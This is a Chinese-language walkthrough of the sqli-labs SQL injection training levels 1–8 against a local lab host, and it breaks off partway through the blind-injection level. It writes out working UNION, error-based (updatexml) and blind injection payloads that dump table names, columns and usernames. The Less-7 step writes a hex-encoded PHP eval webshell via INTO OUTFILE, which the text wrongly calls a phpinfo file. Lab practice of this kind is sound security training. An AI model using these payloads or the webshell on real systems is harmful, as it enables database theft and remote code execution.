序言
这里都是我整理出来的sqli-labs解题思路,还算是对细节方面解析比较多的了。前面二十题大多是在以一个做题者的思路去写,后面就大部分是直接拿源码分析了,后面的很多关卡没有对表名这些直接爆出,更多的是提供一个思路,希望各位还是要动手去做,这样才能更熟练
这里要说明一下,我之前导入文件的时候出了点问题,这些图片都是我后面一张一张复制粘贴上来的,所以可能会有错位的现象,如果大家发现了麻烦跟我说一下,谢谢
如果有还不太明白的地方可以直接问我,如果有写的不好的地方或者是写错的地方麻烦各位跟我提一下,谢谢了哈
Less-1:
?id=1
尝试用?id=-1来测试此处是否存在交互
说明此处存在交互,开始尝试注入
首先测试闭合字符
报错了
说明此处闭合符为’
使用order by函数猜字段
在order by 3时显示正常,但是order by4 会报错,说明此处字段为3
随后测试回显点
说明此处回显点为 2位和3位
随后开始查询当前使用数据库名
得出当前数据库名
随后查询该数据库中表名
?id=1’ and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 – qwe
随后可以查询表中字段
?id=1’ and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 – qwe
查字段信息
?id=1’ and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe
Less-2:
此处可得这里存在与数据库交互,且为数字型注入
后续与Less-1基本相同
?id=1 and 1=2 union select 1,(select group_concat(users.username) from users),3
最后得出字段内数据为
Less-3:
?id=3’ 和 ?id=3’)均报错,说明此处为’)或者’闭合
随后先假设为’)闭合,然后通过order by进行测试查询字段数
使用orderby1
这里说明’)为正确的闭合方式
随后的操作与Less-1相似,只是闭合符不一样
查字段信息
?id=1’) and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe
Less-4:
从上面可以看出来闭合符为” 或者 “)
随后继续假设为”)
使用order by 猜测查询字段数
使用order by 1
说明此处为”) 闭合
剩余步骤与Less-1基本相同
最后查询字段中信息得
?id=1") and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe
Less-5:
这里之后测试字段就不再过多注明了,有点浪费时间
综上所述这里闭合符为’
随后继续用order by 测试查询字段数,以方便后续联合注入
Order by 3
Order by 4
说明此处查询字段数为3
随后使用联合查询来测试回显位
?id=1’ and 1=2 union select 1,2,3 – w
其实经过之前的回显页面我们就可以看出来这里并无回显位
那我们可以尝试用报错注入使得页面报错从而利用报错的信息来拿到我们想要的数据
常用的报错函数有:
Updatexml
Floor
Extractvalue
这里使用updatexml来尝试
?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select database()),0x7e),1)) – qwe
查询所有数据库名
?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)) – qwe
查询当前使用数据库中所有表名
查询users表内所有字段名
http://192.168.203.146/sqli-labs-master/Less-5/?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) ,0x7e),1)) – qwe
Less-6:
Less-6只是闭合符换成了”,其余步骤均与Less-5相似
?id=1" and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) ,0x7e),1)) – qwe
Less-7:
通过这里的提示,我们可以知道可以使用outfile函数来写入webshell或者phpinfo来读取敏感信息
http://192.168.203.146/sqli-labs-master/less-7/?id=-1’)) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile ‘C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/7.php’ – qwe
通过上面的语句写入phpinfo
Less-8:
先测试这里的闭合符
这里是正常页面
随后开始测试闭合符
综上所述,这里测试得出闭合符为’
这里我们也可以看出来,这里可以尝试布尔型盲注通过ascii码去猜数据库名,表名,字段名以及数据,但是也可以去尝试报错注入
这里尝试使用报错注入
但是这里我们发现并没有报错信息
随后我们就只能通过盲注去逐步猜解
我们可以先用length去猜解当前数据库名的长度
这里补充一下mid函数 mid是用来分割数值再取值的
Mid(column,start,length) 这是函数的用法
其中column表示要截取的字段,start为开始的位置,最左为1
Length代表截取长度
当length(database())>8的时候页面回显不正常了,说明这里数据库名长度为7或者8
我们先假设是8
这里可以看出来数据库名就是1
然后我们猜解数据库名第一个字符的ASCII码值
这里说明第一个字符的ascii码值是大于80的
然后我们继续猜解